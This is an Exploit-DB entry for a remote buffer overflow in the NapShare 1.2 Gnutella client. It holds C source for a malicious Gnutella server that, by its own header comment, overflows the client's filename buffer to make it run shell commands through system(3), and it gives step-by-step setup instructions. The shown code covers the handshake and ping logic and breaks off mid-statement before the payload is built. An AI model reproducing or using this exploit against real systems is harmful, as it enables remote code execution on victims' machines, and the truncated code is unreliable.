Exploit-DB #24857
Description: NapShare 1.2 - Remote Buffer Overflow (2)
Type: remote
Platform: linux
Date: 2004-12-10
Author: Bartlomiej Sieka

Exploit:
// source: https://www.securityfocus.com/bid/11967/info
 
It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.
 
Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.
 
Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv_2.c
 * 2004.12.10
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). The payload contains
 * simply sh(1) commands that will be passed to the system(3) call.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv_2 napshare_srv_2
 * tcpserver 0 50000 ./napshare_srv_2 &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "TIOLPXE" will be created in
 * the current working directory.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG

#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/* all output intened for the user should go here */
FILE * out_stream;

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char MsgId[MSG_ID_SIZE];
char c;
uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[1024];
  int num_read;
  unsigned char payload_descr;
  unsigned payload_len;
  char payload[MAX_PAYLOAD_LEN];
  char descr_id[16];
  int queryhit_sent = 0;
  int i;
  
  int net_out_fd = 1;
  struct itimerval itv;


  /* set up the local output stream */
  if((out_stream = fopen("/dev/tty", "w")) == NULL){
    perror("Can't open /dev/tty");
    /* let's use stderr instead */
    out_stream = stderr;
  }
  
  if(signal(SIGALRM, timer_send_ping) == SIG_ERR){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }
  
  itv.it_interval.tv_sec = 5;
  itv.it_interval.tv_usec = 0;  
  itv.it_value.tv_sec = 5;
  itv.it_value.tv_usec = 0;
  
  /* that stupid client closes the connection after 15 secs */
  if(setitimer(ITIMER_REAL, &itv, 0x00) == -1){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }

  // make a connection with the client  

  // read the begining     
  num_read = read(net_in_fd, buf, sizeof(Connect));
  if(num_read != sizeof(Connect)){
    fprintf(out_stream, "Can't read \"Connect\" from the net\n");
    exit(1);
  }
  
  // maybe later compare what's read with "Connect":    if(strncpy

  // now read read everything until the final "\n\n"
  num_read = read(net_in_fd, buf, strlen(End));
  if(num_read != strlen(End)){
    fprintf(out_stream, "Connection closed before double \\n\n");
    exit(1);       
  }
  
  while(strncmp(buf, End, strlen(End)) != 0){
    fprintf(out_stream, "%s\n", buf);

    // shift the buffer by one

    for(i = 0; i < strlen(End) - 1; i++){
      buf[i] = buf[i+1];
    }
    num_read = read(net_in_fd, &buf[strlen(End) - 1], 1);
    if(num_read != 1){
      fprintf(out_stream, "Connection closed before double \\n\n");
      exit(1);
    }
  }


  // let's connect
  write(net_out_fd, OK, strlen(OK));
  fpri